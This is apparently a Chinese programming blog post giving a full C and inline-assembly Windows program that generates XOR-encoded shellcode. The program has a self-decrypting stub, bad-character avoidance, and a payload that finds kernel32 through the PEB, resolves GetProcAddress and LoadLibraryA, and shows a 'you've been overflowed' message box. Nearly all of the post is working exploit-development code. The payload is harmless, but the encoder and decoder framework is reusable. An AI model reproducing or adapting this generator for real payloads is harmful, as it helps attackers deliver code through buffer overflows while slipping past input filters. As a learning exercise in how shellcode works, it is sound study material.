zoukankan      html  css  js  c++  java
  • 自己写的获取Shellcode的程序

    之前在网上找到的那个程序里面有一些BUG

    并且不是自己的程序,看着十分不爽

    于是自己尝试着仿照着写了一个

    实验了一下,能够正确运行(写了好久,其中各种蛋疼就不说了,相对最后成功的喜悦这些都不算什么)

    代码有点长,我也懒得划分结构了

    (其实是我不知道怎么划分结构,每次写的代码都奇丑无比,囧)

    直接粘上去吧(程序运行,打印出的Shellcode最后要加上一个"\0"才能使用,因为解密是以"\0"作为结束标志的):

      1 #include <stdio.h>
      2 #include <string.h>
      3 #include <stdlib.h>
      4 #include <windows.h>
      5 
      6 //#define     Debug            1;
      7 
      8 #define  Enc_key        0x7A    //编码密钥
      9 #define  FLAG_AVOID        0x30    //需要回避的字符的标记
     10 
     11 #define PROC_BEGIN    __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90\
     12     __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 
     13 #define PROC_END PROC_BEGIN
     14 #define  BEGINSTRLEN    0x08    //开始字符串长度   
     15 #define  ENDSTRLEN      0x08    //结束标记字符的长度   
     16 #define  nop_CODE       0x90    //填充字符   
     17 
     18 #define  MAX_Enc_Len    0x400   //加密代码的最大长度 1024足够?   
     19 #define  MAX_Sh_Len     0x2000  //hellCode的最大长度 8192足够?   
     20 
     21 #define  MY_SUCCEED        0
     22 #define  MY_NO_BEGIN    1
     23 #define  MY_NO_END        2
     24 #define     MY_MALLOC_ERR    3
     25 
     26 #define  MY_AVOID        0
     27 #define  MY_NO_AVOID    1
     28 
     29 void Dcrypt(void);
     30 void Shellcode(void);
     31 
     32 //将函数func的代码放到buffer指向的内存中
     33 //其中buffer指向的内存是动态分配的
     34 //func_len指向buffer的长度
     35 int get_func_code(char** buffer,//存放func的代码
     36                 char* fun,        //函数首地址
     37                 int* func_len    //指向buffer长度
     38                 );
     39 
     40 //打印对应的错误信息
     41 void print_iRet(int iRet, char* func_name);
     42 
     43 int is_legal(char ch);//判断一个字符是否要回避
     44 
     45 int Encrypt_Shell(char** buffer,//存放加密过后的字节码
     46                 char*    fun,    //原Shellcode的字节码
     47                 int        old_len,//原Shellcode的长度
     48                 int*    new_len    //加密后字节码的长度
     49                 );
     50 void my_print_Shellcode(char* Shellcode, int len);//打印最终的Shellcode 
     51 
     52 int main(int argc, char* argv[])
     53 {
     54     //取得加密函数字节码
     55     int        Dcrypt_len = 0;
     56     char*    Dcrypt_buffer = NULL;
     57     int        iRet = get_func_code(&Dcrypt_buffer, (char*)Dcrypt, &Dcrypt_len);
     58     print_iRet(iRet, "Dcrypt字节码");
     59 
     60     //取得Shellcode字节码
     61     int        Shell_len = 0;
     62     char*    Shell_buffer = NULL;
     63     iRet = get_func_code(&Shell_buffer, (char*)Shellcode, &Shell_len);
     64     print_iRet(iRet, "Shellcode原始字节码");
     65 
     66     //将Shellcode字节码加密
     67     char*    Shell_Encrypt_buffer = NULL;
     68     int        Shell_Encrypt_len = 0;
     69     iRet = Encrypt_Shell(&Shell_Encrypt_buffer, Shell_buffer, Shell_len, &Shell_Encrypt_len);
     70     print_iRet(iRet, "Shellcode加密后的字节码");
     71 
     72     //打印整体Shellcode的字节码
     73     char*    print_buffer = (char*)malloc(Dcrypt_len + Shell_Encrypt_len);
     74     memcpy(print_buffer, Dcrypt_buffer, Dcrypt_len);
     75     free(Dcrypt_buffer);
     76     memcpy(print_buffer + Dcrypt_len, Shell_Encrypt_buffer, Shell_Encrypt_len);
     77     free(Shell_buffer);
     78     free(Shell_Encrypt_buffer);
     79     my_print_Shellcode(print_buffer, Dcrypt_len + Shell_Encrypt_len);
     80     free(print_buffer);
     81     return 0;
     82 }
     83 
     84 void Dcrypt(void)
     85 {
     86     PROC_BEGIN
     87     __asm
     88     {
     89         pushad
     90         jmp   next   
     91 getEncCodeAddr:   
     92         pop   edi   
     93         push  edi   
     94         pop   esi   
     95         xor   ecx,ecx   
     96 Decrypt_lop:    
     97         lodsb   
     98         cmp  al,cl   
     99         jz   save   
    100         cmp  al,0x30  //判断是否为特殊字符   
    101         jz   special_char_clean   
    102 store:         
    103         xor  al,Enc_key   
    104             stosb   
    105         jmp  Decrypt_lop   
    106 special_char_clean:      
    107         lodsb   
    108         sub al,0x31   
    109         jmp store
    110 save:
    111         popad
    112         jmp  shell
    113 next:        
    114         call  getEncCodeAddr
    115 shell:
    116             //其余真正加密的shellcode代码会连接在此处
    117     }
    118     PROC_END
    119 }
    120 
    121 void Shellcode(void)
    122 {
    123     PROC_BEGIN
    124 #ifdef    Debug
    125     __asm _emit 0x1
    126     __asm _emit 0x2
    127 #endif
    128 
    129 #ifndef    Debug
    130     
    131     void*    hkernerl32 = NULL;
    132     void*    huser32 = NULL;
    133     void*    pGetProcAddress = NULL;
    134     void*    pLoadLibrary = NULL;
    135     void*    pMessageBoxA = NULL;
    136     
    137 /*     char    strLoadLibrary[] = "LoadLibraryA";
    138     char    struser32[] = "user32.dll";
    139     char    strMessageBoxA[] = "MessageBoxA";
    140     char    pText[] = "你被溢出了!";
    141     char    pCaption[] = "xiaoma"; */
    142     //LoadLibrary("kernel32");
    143     _asm
    144     {        
    145         //保存寄存器
    146         pushad;
    147         
    148         //获得kernerl32基地址
    149         mov eax, fs:0x30 ;PEB的地址
    150         mov eax, [eax + 0x0c] ;Ldr的地址
    151         mov esi, [eax + 0x1c] ;Flink地址
    152         lodsd 
    153         mov eax, [eax + 0x08] ;eax就是kernel32.dll的地址
    154         mov hkernerl32,eax;
    155         
    156         //获得GetProcAddress地址
    157         push ebp;
    158         mov ebp, hkernerl32 ;kernel32.dll 基址
    159         mov eax, [ebp+3Ch] ;eax = PE首部
    160         mov edx,[ebp+eax+78h]
    161         add edx,ebp ;edx = 引出表地址
    162         mov ecx , [edx+18h] ;ecx = 输出函数的个数
    163         mov ebx,[edx+20h] 
    164         add ebx, ebp ;ebx =函数名地址,AddressOfName 
    165 search:
    166         dec ecx
    167         mov esi,[ebx+ecx*4] 
    168         add esi,ebp ;依次找每个函数名称
    169         ;GetProcAddress
    170         mov eax,0x50746547
    171         cmp [esi], eax; 'PteG'
    172         jne search
    173         mov eax,0x41636f72
    174         cmp [esi+4],eax; 'Acor'
    175         jne search 
    176         ;如果是GetProcA,表示找到了 
    177         mov ebx,[edx+24h]
    178         add ebx,ebp ;ebx = 序号数组地址,AddressOf
    179         mov cx,[ebx+ecx*2] ;ecx = 计算出的序号值
    180         mov ebx,[edx+1Ch]
    181         add ebx,ebp ;ebx=函数地址的起始位置,AddressOfFunction
    182         mov eax,[ebx+ecx*4] 
    183         add eax,ebp ;利用序号值,得到出GetProcAddress的地址
    184         pop ebp;
    185         mov pGetProcAddress,eax;
    186 
    187         //获得LoadLibraryA地址
    188         //push strLoadLibrary;"LoadLibraryA"
    189         call    _getLoadLib   
    190         _emit 0x4C   
    191         _emit 0x6F   
    192         _emit 0x61   
    193         _emit 0x64   
    194         _emit 0x4C   
    195         _emit 0x69   
    196         _emit 0x62   
    197         _emit 0x72   
    198         _emit 0x61   
    199         _emit 0x72   
    200         _emit 0x79   
    201         _emit 0x41   
    202         _emit 0x0   
    203         //db      "LoadLibraryA",0              
    204 _getLoadLib:
    205         push hkernerl32;
    206         mov eax,pGetProcAddress;
    207         call eax;        GetProcAddress
    208         mov pLoadLibrary,eax;
    209         pop eax;
    210         pop eax;        平衡堆栈
    211         
    212         //下面是自己的实验
    213         //MessageBoxA(NULL, "你被溢出了!", "xiaoma", MB_OK)
    214         //push struser32;
    215         call    _getUser
    216         _emit 0x75
    217         _emit 0x73
    218         _emit 0x65
    219         _emit 0x72
    220         _emit 0x33
    221         _emit 0x32
    222         _emit 0x2E
    223         _emit 0x64
    224         _emit 0x6C
    225         _emit 0x6C
    226         _emit 0x0
    227 _getUser:
    228         mov eax,pLoadLibrary;
    229         call eax;
    230         mov huser32,eax;
    231         pop eax;
    232         
    233         //push strMessageBoxA;"MessageBoxA"
    234         call    _getMessage
    235         _emit 0x4D
    236         _emit 0x65
    237         _emit 0x73
    238         _emit 0x73
    239         _emit 0x61
    240         _emit 0x67
    241         _emit 0x65
    242         _emit 0x42
    243         _emit 0x6F
    244         _emit 0x78
    245         _emit 0x41
    246         _emit 0x0
    247 _getMessage:
    248         push huser32;
    249         mov eax,pGetProcAddress;
    250         call eax;        GetProcAddress
    251         mov pMessageBoxA,eax;
    252         pop eax;
    253         pop eax;        平衡堆栈
    254         
    255         call _getCaption
    256         _emit 0x78
    257         _emit 0x69
    258         _emit 0x61
    259         _emit 0x6F
    260         _emit 0x6D
    261         _emit 0x61
    262         _emit 0x0
    263 _getCaption:
    264         pop  edi;
    265         call _getText
    266         _emit 0xC4
    267         _emit 0xE3
    268         _emit 0xB1
    269         _emit 0xBB
    270         _emit 0xD2
    271         _emit 0xE7
    272         _emit 0xB3
    273         _emit 0xF6
    274         _emit 0xC1
    275         _emit 0xCB
    276         _emit 0x7E
    277         _emit 0xA3
    278         _emit 0xA1
    279         _emit 0x0
    280 _getText:
    281         pop  esi;
    282         push MB_OK;
    283         push edi;
    284         push esi;
    285         push 0h;
    286         mov eax,pMessageBoxA;
    287         call eax;
    288         pop eax;
    289         pop eax;
    290         pop eax;
    291         pop eax;
    292         
    293         //恢复寄存器
    294         popad;
    295     }
    296 #endif
    297     PROC_END
    298 }
    299 
    300 int Encrypt_Shell(char** buffer, char*    fun, int old_len, int* new_len)
    301 {
    302     *buffer = (char*)malloc(2 * old_len);
    303     if (*buffer == NULL)
    304     {
    305         return MY_MALLOC_ERR;
    306     }
    307     int        i = 0, k = 0;
    308     char    ch = 0;
    309     for (i = 0; i < old_len; i++)
    310     {
    311         ch = (*(fun + i)) ^ Enc_key;
    312         if ( is_legal(ch) == MY_AVOID )//如果某个字符需要回避
    313         {
    314             *(*buffer + k) = '0';
    315             k++;
    316             ch += 0x31;
    317         }
    318         *(*buffer + k) = ch;
    319         k++;
    320     }
    321     *new_len = k;
    322     return(MY_SUCCEED);
    323 }
    324 
    325 int get_func_code(char** buffer, char* fun, int* func_len)
    326 {
    327     //返回码:
    328     int        i = 0;
    329     char*    func_begin    =    fun;
    330     char*    func_end    =    NULL;
    331     char*    fnbgn_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";  //标记开始的字符串   
    332     char*    fnend_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";  //标记结束的字符串
    333 
    334     //处理DEBUG版本里面的跳转表
    335     /*char ch = *func_begin;
    336     char temp = 0xE9;*/
    337     if (*func_begin == (char)0xE9)
    338     {
    339         func_begin++;
    340         i = *(int*)func_begin;
    341         func_begin += (i+4);
    342     }
    343 
    344     //通过寻找开始的标记
    345     //找到解码部分的开头地址
    346     for (i = 0; i < MAX_Enc_Len; i++)
    347     {
    348         if (memcmp(func_begin+i, fnbgn_str, BEGINSTRLEN) == 0)
    349         {
    350             break;
    351         }
    352     }
    353     if (i < MAX_Enc_Len)
    354     {
    355         func_begin += (i + BEGINSTRLEN);//定位到开始部分的代码
    356     }
    357     else
    358     {
    359         return MY_NO_BEGIN;    //没找到开始的标记
    360     }
    361 
    362     //通过寻找结尾的标记
    363     //找到解码部分的结束地址
    364     i = 0;
    365     for (func_end = func_begin; i < MAX_Enc_Len; i++)
    366     {
    367         if (memcmp(func_end+i, fnend_str, ENDSTRLEN) == 0)
    368         {
    369             break;
    370         }
    371     }
    372     if (i < MAX_Enc_Len)
    373     {
    374         func_end += i;//定位到结尾处的代码
    375     }
    376     else
    377     {
    378         return MY_NO_END;//没找到结尾的标记
    379     }
    380 
    381     *func_len = func_end - func_begin;//解码部分代码长度
    382 
    383     *buffer = (char*)malloc(*func_len);//分配地址储存解码的代码
    384     if (*buffer == NULL)
    385     {
    386         return MY_MALLOC_ERR;
    387     }
    388     memcpy(*buffer, func_begin, *func_len);
    389 
    390     return MY_SUCCEED;
    391 }
    392 
    393 void print_iRet(int iRet, char* func_name)
    394 {
    395     switch (iRet)
    396     {
    397     case MY_SUCCEED:
    398         printf("获取%s成功!\n",func_name);
    399         break;
    400     case MY_NO_BEGIN:
    401         printf("无法找到%s的头部标记!\n程序退出\n",func_name);
    402         exit(1);
    403         break;//不会执行到
    404     case MY_NO_END:
    405         printf("无法找到%s的尾部标记!\n程序退出\n",func_name);
    406         exit(1);
    407         break;//不会执行到
    408     case MY_MALLOC_ERR:
    409         printf("在获取%s字节码的时候分配内存错误!\n程序退出\n",func_name);
    410         exit(1);
    411         break;
    412     default:
    413         puts("未知的返回码!\n程序退出\n");
    414         exit(1);
    415         break;
    416     }
    417 }
    418 
    419 int is_legal(char ch)
    420 {
    421     if (ch==0x1f||ch==' '||ch=='.'||ch=='/'||ch=='\\'||ch=='0'||ch=='?'||ch=='%'||ch=='+'||ch=='\0')
    422     {
    423         return MY_AVOID;//需要替换
    424     }
    425     return MY_NO_AVOID;    //不需要替换
    426 }
    427 
    428 void my_print_Shellcode(char* Shellcode, int len)
    429 {
    430     int i = 0, k = 0;
    431     for (i = 0; i < len; i++)
    432     {
    433         if (k == 0)
    434         {
    435             putchar('"');
    436         }
    437         printf("\\x%.2X", (unsigned char)Shellcode[i]);
    438         k++;
    439         if (k == 16)
    440         {
    441             putchar('"');
    442             putchar('\n');
    443             k = 0;
    444         }
    445     }
    446     if (k != 16)
    447     {
    448         puts("\"\n");
    449     }
    450 }
  • 相关阅读:
    分治算法的时间复杂度研究
    c函数调用过程原理及函数栈帧分析
    Java实现蓝桥杯 算法训练 ALGO-15 旅行家的预算
    Java实现蓝桥杯 算法训练 ALGO-15 旅行家的预算
    Java实现蓝桥杯 算法训练 ALGO-15 旅行家的预算
    Java实现蓝桥杯 算法训练 ALGO-15 旅行家的预算
    Java 蓝桥杯 算法训练(VIP) 最大体积
    Java 蓝桥杯 算法训练(VIP) 最大体积
    Java 蓝桥杯 算法训练(VIP) 最大体积
    Java 蓝桥杯 算法训练(VIP) 最大体积
  • 原文地址:https://www.cnblogs.com/02xiaoma/p/2657218.html
Copyright © 2011-2022 走看看